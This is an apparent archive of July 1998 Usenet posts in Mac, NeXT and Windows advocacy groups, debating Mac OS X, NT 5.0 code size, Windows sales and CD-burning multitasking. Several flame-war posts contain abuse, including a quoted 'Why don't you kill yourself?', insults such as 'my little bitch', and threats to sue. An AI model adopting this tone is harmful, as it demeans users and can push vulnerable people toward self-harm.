utilities like Notepad. Yes, it beat out Microsoft Office, which was
only used by an estimated 21.9 million out of 70.3 million PC users.
-- Erick
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Q: NEXT tech, MacOS X & Industry Challenges
Date: 27 Jul 1998 15:29:01 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pi6bt$61j@newsb.netnews.att.com>
References: <uPDu1.32112$Bw1.855898@news.san.rr.com> <6pi0rh$oa4$1@nnrp02.primenet.com>
Originator: gupta@tlctest
John Jensen <jjens@primenet.com> wrote:
>
>I am very impatient when it comes to technology. I want my next
>generation software yesterday. For me, MacOS X is too far off to even
>worry about. I don't see a reason to concentrate on an OS promised for
>delivery a year from now, not when there are so many interesting things
>going on in other areas.
Having been burnt by Java on Solaris, I now want my next generation software
written for quality and not for being first in the marketplace.
> [snip]
>
>The interesting thing is that Microsoft is not (to my knowledge)
>developing any next generation OSes. Win9x and WinNT are it for a while.
>They may add a few million lines of code to each release, but I'm not sure
>that strategy can be effective for more than ~5 years.
Windows NT is going from around 16 million lines of code in 4.0 to
over 30 million lines of code in 5.0, with significantly more than half
of the 30 million lines being entirely new code.
Based on my experience with software engineering --
a. Microsoft has come up with a radically new way of
doing things, or
b. the core NT remains rather small, and most of the code is not
essential to the OS, or
c. debugging and maintaining NT 5.0 is beyond human capabilities;
NT 5.0 will be Microsoft's Waterloo.
I currently lean towards c.
NT 5.0 is now about as delayed as Apple's Copland was. Maybe, like Copland,
it will have to be killed. Only, Microsoft is in a much healthier
financial situation than Apple was, and so it may take even more time
for the realization to dawn.
-arun gupta
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Nathan Dozier is a lying fool!
Date: Sun, 26 Jul 1998 23:51:08 -0700
Organization: EarthLink Network, Inc.
Message-ID: <Macghod-2607982351080001@sdn-ar-002casbarp171.dialsprint.net>
References: <35B74335.7DF7C86E@rauland.com> <B1DD3046-927B4@204.32.201.44> <35B89FC6.8661DDD6@rauland.com>
In article <35B89FC6.8661DDD6@rauland.com>, "Edwin E. Thorne"
<edwin.thorne@rauland.com> wrote:
> Nathan Dozier wrote:
> This group needs lamers like edwin like our defense forces need windows NT.
Hahaha
> You are a lying scumbag! I NEVER attacked either Joe Ragosta or Jason
> S. You say MY posts have no content? What have YOU posted besides
> these idiotic ravings?
>
> Why don't you kill yourself? In real life. Then my posts won't bother
> you. It's the ultimate kill file.
>
> Edwin
Edwin looks like he is about to be pushed over the edge of insanity :P
From: macman@rochester.rr.com (Stephen Rea)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Mail-Copies-To: macman@rochester.rr.com
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <macman-2707980013540001@d185d1c66.rochester.rr.com>
References: <MPG.1024135494d5483f989a00@news.supernews.com> <B1E0E952-3F0D5@206.165.43.124> <6pgppi$20t@newsb.netnews.att.com>
Organization: Jessi Group, Inc.
Date: Mon, 27 Jul 1998 04:11:09 GMT
NNTP-Posting-Date: Mon, 27 Jul 1998 00:11:09 EDT
In article <6pgppi$20t@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> I agree. PC Data itself, in 1995, said that Windows 95 sold 900,000 copies
> in the first four days. ( Microsoft had made an announcement of 1 million sold
> in the first four days, back then.) This year, when Windows 98 sold
> 530,000 copies in the first four days, according to PC Data,
Is that "sold" or "shipped to stores"??
I remember shelves and shelves of Windows 95 that never sold.
--
Stephen Rea
Mac System Engineer America Online SoundBytes Radio
Jessi Group, Inc. Mac Forum Consultant www.soundbytes.org
716-624-1920 AFC Rea WXXI-AM Rochester, NY
From: macman@rochester.rr.com (Stephen Rea)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Mail-Copies-To: macman@rochester.rr.com
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <macman-2707980031040001@d185d1c66.rochester.rr.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <see-below-2407980002030001@dynamic18.pm10.mv.best.com> <not-2407981144330001@ip-26-164.phx.primenet.com> <see-below-2407981953550001@dynamic57.pm05.mv.best.com> <not-2507981128350001@ip-26-037.phx.primenet.com>
Organization: Jessi Group, Inc.
Date: Mon, 27 Jul 1998 04:28:18 GMT
NNTP-Posting-Date: Mon, 27 Jul 1998 00:28:18 EDT
In article <not-2507981128350001@ip-26-037.phx.primenet.com>,
eilersm@psn.net wrote:
> Yes, I have to agree on that point. However, Apple has an entire year and
> a half to release a 9600-killer, and from what I've read at MacNN, it is
> going to be a doozy. There will be no 6-slot models, but they are going to
> relese a 4-slot model with the 4th slot being adapted to accept a
> third-party PCI expansion box--for a total of 9 slots.
Everyone keeps talking about the expansis chassis. Has anyone ever prices
one? When a client ran out of slots in a 9600 (even 6 isn't enough for
some people) we looked. A 3 slot box is $1100, a 5 slot is $1500, and a 7
slot is $1800. That's a hell of a price to pay for extra slots.
--
Stephen Rea
Mac System Engineer America Online SoundBytes Radio
Jessi Group, Inc. Mac Forum Consultant www.soundbytes.org
716-624-1920 AFC Rea WXXI-AM Rochester, NY
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Why are Macs better?
Date: Mon, 27 Jul 1998 11:39:51 -0400
Organization: Jayfar's Original Virtual Macintosh
Message-ID: <jayfar-2707981139520001@dyn-103.blackbox-4.netaxs.com>
References: <1998072421045300.RAA01111@ladder01.news.aol.com> <35b9158f.919536@news.mindspring.com> <35BBB5F1.165E3C5@NOSPAMnbnet.nb.ca> <Macghod-2607981933060001@sdn-ar-001casbarp068.dialsprint.net> <6pgrr9$81b$1@lwnws01.ne.highway1.com> <6pgsls$4pi$1@bunyip.cc.uq.edu.au>
Mail-Copies-To: jayfar@netaxs.com
In article <6pgsls$4pi$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
| John Kheit <jkheit@mediaone.net> wrote in message
| 6pgrr9$81b$1@lwnws01.ne.highway1.com...
| >Macghod@concentric.net (Steve Sullivan) wrote:
| >> I have installed software many times on openstep. Ya know what? You can
| >> do other things while software is installing! Yes, amazing. Burn a cd
| >> with toast, cant run any other apps at the same time. Hey Next people,
| >> does openstep totally freeze up and disallow any other apps from running
| >> when you burn a cd in openstep?
| >
| >Ostensibly you can, but in practice the answer is no. If you run any
| really
| >heavy process into hogging a lot of system resources, I believe you will
| >force a data underrun. This may be the kind of thing that could be helped
| >with real-time scheduling (then again, maybe not).
|
| It would depend *which* system resources were being hogged. Whilst writing
| a CD is fairly low CPU usage activity, it does require the disk being
| written from be kept under a fairly low load (especially if you have IDE,
| since I don't think any IDE drives use things like command-queueing yet).
| If you also have some device(s) flooding/monopolising the SCSI bus that the
| writer is on, you can also have troubles (eg using a scanner on the same
| SCSI card as the writer while writing). OTOH, I quite regularly play
| Quakeworld and Quake whilst burning CDs at 4x, which is a fairly CPU and
| memory-intensive activity, yet I have no buffer underruns because the disk
| is rarely under stress (also helped by the fact that in this case the disk
| Quake is loading off and the disk the CD is burning off are different (but
| still only IDE).
| The problem with the MacOS, is that writing programs (at least all the ones
| I have used) take over the entire machine and refuse to yield any CPU time
| at all - this is ridiculous for an operation which is light-on wrt to CPU
| usage. I imagine it would be a quite deliberate design decision as well,
| since it would be the only way to guarantee the writing program got the CPU
| time when it needed it on a CMT system, whereas with a PMT system you would
| just raise the priority of the CDR program (most do this themselves), and
| allow other programs to use the "idle" CPU time.
It seems reasonable for CD burning apps to behave that way, but beyond
those sorts of apps the all time champion for hogging the CPU is
Netscape. Netscape steals every last CPU cycle when it starts rendering a
complex page (such as with large tables and Javascript) EVEN WHEN NETSCAPE
IS THE BACKGROUND APP, temporarily freezing the foreground app.
Amazing!!! What were they thinking? Anyone who writes code like that
should at the least be blacklisted from the industry, damnit!!!
Cheers,
Jayfar
--
Jay Farrell Jayfar's Original Virtual Macintosh
jayfar@netaxs.com * Your Favorite Mac Site * Now Updated Daily *
Philadelphia, USA <URL:http://www.netaxs.com/~jayfar/live.desk.html>
Jayfar's APPLE DOOMSDAY CLOCK <URL:http://www.netaxs.com/~jayfar/>
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 27 Jul 1998 15:01:49 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pi4ot$42a$2@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <TheLidlessEyeTh-2607982345300001@digital-00-40.hou.neoworld.net>
TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet) wrote:
> In article <6pglve$1i1$6@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
> >>As long as your my little bitch and do what I said, self mockery
> >>doesn't concern me. As for trying me sparky. All I can say
> >>is if you try it one more time, I'll do my best to educate as
> >>to all my possible remedies for any further misrepresentations.
>
> LOL. Well, you've got your work cut out for you, so don't let
> us keep you, John. Oh, be sure and fill us in on the details,
> won't you?
It's not that much work.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 27 Jul 1998 14:38:50 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pi3dq$32n$1@lwnws01.ne.highway1.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <6p5bhr$hm1$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2307981134080001@news> <6pgjkh$1i1$4@lwnws01.ne.highway1.com> <35BC0EF4.D2D0F1C8@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
> John Kheit wrote:
>
> > I suggest they act sensibly. That means not limiting their
> > desktop/laptop machines to the LCD of a palmtop/PDA UI. I've
> > offered ideas on UI and other topics on numerous occassions.
> > I'm sure the majority, if not in total, have been cheezy, stupid
> > or lame. This may well be a similar suggestion. Beyond that,
> > I don't feel the need to give out advice for free--especially
> > when I'm pretty certain it will not be listened to and do no
> > good except to cause me grief.
>
> So what does His Highness think OS vendors should do? Create a
That's Mr., Professor, Sir, Sir, His Highness. :)
> different UI for every different screen size on the planet? You've
> as much as admitted that the NeXT UI wouldn't be appropriate for
> screens smaller than the original MegaPixel. Your dream UI must
No, I didn't admit that because I don't believe that. I think that the
NeXTUI works well on almost any display that does 1024X768 on up. This
includes 11.3" XGA displays. For me it looks fine on those displays. YMMV.
> be one that switches every time one buys a new monitor, or even
> when you change the resolution on your monitor.
You're either being rhetorical, or not getting what I said. I think that
laptop and desktop machines are generally close enough in screen use, today,
that it makes a lot of sense for them to share a common UI. Palmtop/PDA
machines use so drastically a smaller and less capable a display that it
makes sense to have a different UI for such units.
> What's appropriate is what's omni-capable. Your sophomoric comments
> about the inadequacy of the MacOS in large monitor sizes undoubtedly
> stems from rarely having used the UI on large monitors. It's not
> like we're shooting for autistic adults who can't manage to
> double-click on a 32x32 icon at high resolutions. At 1600x1200
> a MacOS icon is no smaller than a Newton icon, so I don't begin
> to comprehend your argument with it. Maybe you'd prefer a
Your inability to comprehend is understandable.
> super-dooper Easy Access interface for all of us to use so that
> we can go into sugar-shock while we're ogling the 3D bevels and
> clicking on huge screen-wasting 32-bit color icons. But Easy
You using Easy Access makes a lot of sense.
> I've got it. How about a "click here" feature that just colorizes
> your next action and makes the rest of the screen gray? That way
> you wouldn't have to actually think when you're using the computer;
> you could just click-click-click-click-click-click-click all the
> way to the computing heaven by following the yellow brick road.
I think for you, all fine suggestions.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 27 Jul 1998 15:00:19 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pi4m3$42a$1@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net>
Macghod@concentric.net (Steve Sullivan) wrote:
> Hey, thats not very nice Mr kheit. I know Joe can make one extremely
> exasperated, but do you have to resort to calling him your little bitch?
Hi Steve:
If Joe was simply exasperating in this instance, well I still might have said
something nasty because I'm that silly and daft. But what got me was on
occasion he made assertions that I did in fact say something that I didn't.
Not that he "thought that John means X" but outright that "John said X" when
I didn't. It is extremely wrong of him, IMO, to misrepresent what I said
(especially when I outright didn't say any such thing). He does so because
he doesn't like me, which is more than understandable, but still is
unacceptable (not not liking me, which is fine, but rather misrepresenting
others is not acceptable).
To be honest, I think Joe is a very nice fellow. Clearly we don't agree on
several things, and I don't take his computer opinions seriously because of
his self admitted bias, but that in no way makes him a bad sort of fellow.
He has demonstrated himself as a very helpful person to those that ever need
mac help, and to me that clearly demonstrates how nice a guy he must be--his
actions generally speak very well of him. I'm not even sure how we got to
flaming here on usenet, I think it was because I was criticizing some apple
stuff, and in response and defense of the mac I found things he said to be
personally insulting. And actually, I think the only times I do flame is in
response to someone who decides it's time to make a personally insulting
remark, initially it's often a subtle thing like "any half intelligent person
would understand X" implying I'm an idiot. Well I may well be an idiot, but
it doesn't mean I'm going to enjoy the personal attack, and at that point I
generally see little reason not to dish some back to let them know how it
feels. Anyway, I also found that in response and defense of the mac he made
misstatements about what I said in a way that mischaracterizes what I said,
or worse yet, that I didn't say at all. This seriously bugs me. I make
plenty of stupid remarks and there is plenty with which I may easily and
justifiably be trashed. But misrepresenting one's statements is just
outright inexcusable behavior on USENET. Our words are our only mode of
communication here (save some ascii art :).
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 27 Jul 1998 14:40:28 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pi3gs$32n$2@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <35BC0BF2.95E5FC86@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
> I'd say that if anyone could leash Ragosta and lead him around for show,
> it would be John. I don't know that being "nice" has anything to do with
> it, and at any rate, you should know better than to expect "nice" from
> John Kheit. If anyone has a flair for brandishing four-letter weaponry,
> I'd vote for John. Since it's so well-deserved in this case (heck, it's
> well-deserved in my case) I think we all ought to give John a standing
> ovation for his mastery of wrathful English.
Thanks Mike, I think? :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Q: NEXT tech, MacOS X & Industry Challenges
Date: 27 Jul 1998 15:42:31 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pi757$63d@newsb.netnews.att.com>
References: <uPDu1.32112$Bw1.855898@news.san.rr.com> <6pi0rh$oa4$1@nnrp02.primenet.com> <6pi5ur$8pn$1@nnrp03.primenet.com>
Originator: gupta@tlctest
John Jensen <jjens@primenet.com> wrote:
>
>In my view, Apple has made this mistake with long lead-time projects
>before. Things like OpenDoc sounded cool in the early announcements, but
>when they finally arrived they were a) sub-optimal implementations and b)
>no longer interesting. Component documents were still cool, but not as
>cool as the web. Apple overshot the market. They could do it again.
A web-page **is** a "light-weight" compound document. When you read somebody
else's web-page, it is read-only at the target URL, as it should be.
You can drag-and-drop elements of the web-page onto your favorite local
editor, should you so desire. WYSIWYG web-page editors are almost
compound document editors (and should eventually get there, I hope.)
The relative simplicity of the web-page makes it easily supported on the
various platforms.
I think there are lessons for software architecture and design somewhere
in all this. Apple could have invented the Web, if its thinking hat had
been oriented a little different.
-arun gupta
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 27 Jul 1998 15:54:07 GMT
Message-ID: <6pi7qv$afr$1@nntp2.ba.best.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <m3vhor5llt.fsf@ws142.spray.fi> <6p2itr$pcs$1@nntp2.ba.best.com> <35bc0d67.696796700@netnews.msn.com>
In-Reply-To: <35bc0d67.696796700@netnews.msn.com>
On 07/26/98, Dave Martin wrote:
>On 21 Jul 1998 17:25:15 GMT, kcd@babylon5.jumpgate.com (Kenneth C.
>Dyke) wrote:
>
>>what I'd call failing gracefully. Of course, since C++ constructors
>>can't fail....(sorry, couldn't resist) ;)
>
>urm, they can throw exceptions, so yes, C++ constructors can fail, and
>the failure can be detected.
True. So why doesn't BWindow or BBitmap throw an exception when it
fails? I'm not aware of any classes in BeOS being documented to throw
an exception when something fails (unless it's not documented in the
class documentation).
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Nuclear Strike and OPENSTEP Tools Engineer, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
Date: Mon, 27 Jul 1998 11:54:12 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2707981154130001@wil50.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com>
In article <6pi4m3$42a$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> Macghod@concentric.net (Steve Sullivan) wrote:
> > Hey, thats not very nice Mr kheit. I know Joe can make one extremely
> > exasperated, but do you have to resort to calling him your little bitch?
>
> Hi Steve:
>
> If Joe was simply exasperating in this instance, well I still might have said
> something nasty because I'm that silly and daft. But what got me was on
> occasion he made assertions that I did in fact say something that I didn't.
> Not that he "thought that John means X" but outright that "John said X" when
> I didn't. It is extremely wrong of him, IMO, to misrepresent what I said
> (especially when I outright didn't say any such thing). He does so because
> he doesn't like me, which is more than understandable, but still is
> unacceptable (not not liking me, which is fine, but rather misrepresenting
> others is not acceptable).
WHAT I SAID was "IIRC, John Kheit said...". IIRC means that I wasn't sure.
When you said it wasn't you, I apologized and withdrew the statement.
Hardly worth your threats to sue me--not once, but twice.
>
> To be honest, I think Joe is a very nice fellow.
You sure have a funny way to show it--threatening all sorts of dire actions.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 27 Jul 1998 11:56:00 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2707981156000001@wil50.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <TheLidlessEyeTh-2607982345300001@digital-00-40.hou.neoworld.net> <6pi4ot$42a$2@lwnws01.ne.highway1.com>
In article <6pi4ot$42a$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet) wrote:
> > In article <6pglve$1i1$6@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> > wrote:
> > >>As long as your my little bitch and do what I said, self mockery
> > >>doesn't concern me. As for trying me sparky. All I can say
> > >>is if you try it one more time, I'll do my best to educate as
> > >>to all my possible remedies for any further misrepresentations.
> >
> > LOL. Well, you've got your work cut out for you, so don't let
> > us keep you, John. Oh, be sure and fill us in on the details,
> > won't you?
>
> It's not that much work.
I'm sure it isn't.
But just so you know, any further threatening e-mails and any action you
take in the direction of suing me will be made public, including notifying
mediaone.
Granted, it's a violation of netiquette, but so is threatening to sue
someone for what they write.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Why are Macs better?
Date: Mon, 27 Jul 1998 13:37:18 +1000
Organization: University of Queensland
Message-ID: <6pgsls$4pi$1@bunyip.cc.uq.edu.au>
References: <1998072421045300.RAA01111@ladder01.news.aol.com> <35b9158f.919536@news.mindspring.com> <35BBB5F1.165E3C5@NOSPAMnbnet.nb.ca> <Macghod-2607981933060001@sdn-ar-001casbarp068.dialsprint.net> <6pgrr9$81b$1@lwnws01.ne.highway1.com>
John Kheit <jkheit@mediaone.net> wrote in message
6pgrr9$81b$1@lwnws01.ne.highway1.com...
>Macghod@concentric.net (Steve Sullivan) wrote:
>> I have installed software many times on openstep. Ya know what? You can
>> do other things while software is installing! Yes, amazing. Burn a cd
>> with toast, cant run any other apps at the same time. Hey Next people,
>> does openstep totally freeze up and disallow any other apps from running
>> when you burn a cd in openstep?
>
>Ostensibly you can, but in practice the answer is no. If you run any
really
>heavy process into hogging a lot of system resources, I believe you will
>force a data underrun. This may be the kind of thing that could be helped
>with real-time scheduling (then again, maybe not).
It would depend *which* system resources were being hogged. Whilst writing
a CD is fairly low CPU usage activity, it does require the disk being
written from be kept under a fairly low load (especially if you have IDE,
since I don't think any IDE drives use things like command-queueing yet).
If you also have some device(s) flooding/monopolising the SCSI bus that the
writer is on, you can also have troubles (eg using a scanner on the same
SCSI card as the writer while writing). OTOH, I quite regularly play
Quakeworld and Quake whilst burning CDs at 4x, which is a fairly CPU and
memory-intensive activity, yet I have no buffer underruns because the disk
is rarely under stress (also helped by the fact that in this case the disk
Quake is loading off and the disk the CD is burning off are different (but
still only IDE).
The problem with the MacOS, is that writing programs (at least all the ones
I have used) take over the entire machine and refuse to yield any CPU time
at all - this is ridiculous for an operation which is light-on wrt to CPU
usage. I imagine it would be a quite deliberate design decision as well,
since it would be the only way to guarantee the writing program got the CPU
time when it needed it on a CMT system, whereas with a PMT system you would
just raise the priority of the CDR program (most do this themselves), and
allow other programs to use the "idle" CPU time.
>
>--
>Thanks, be well, take care, later, John Kheit; self expressed...
>______________________________________________________________________
>UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
> mailto:jkheit@uco-iplaw.com
> http://people.ne.mediaone.net/jkheit
> You're dangerous because you're honest...
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sun, 26 Jul 1998 22:39:12 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980726223420.27762A-100000@ux8.cso.uiuc.edu>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <Pine.SOL.3.96.980722114004.22438H-100000@ux8.cso.uiuc.edu> <anewmanagn-2407982316290001@a4p22.ideasign.com> <Pine.SOL.3.96.980726001949.7987E-100000@ux7.cso.uiuc.edu> <Macghod-2607980050510001@sdn-ar-001casbarp310.dialsprint.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <Macghod-2607980050510001@sdn-ar-001casbarp310.dialsprint.net>
On Sun, 26 Jul 1998, Steve Sullivan wrote:
> In article <Pine.SOL.3.96.980726001949.7987E-100000@ux7.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > Apple's _US_retail_ market share doubled. This is not the same thing.
> > Sales of Macs has stayed mostly flat this year. This is a partial reversal
> > of the trend last year (which was down down down), but in no way
> > constitutes a huge comeback.
>
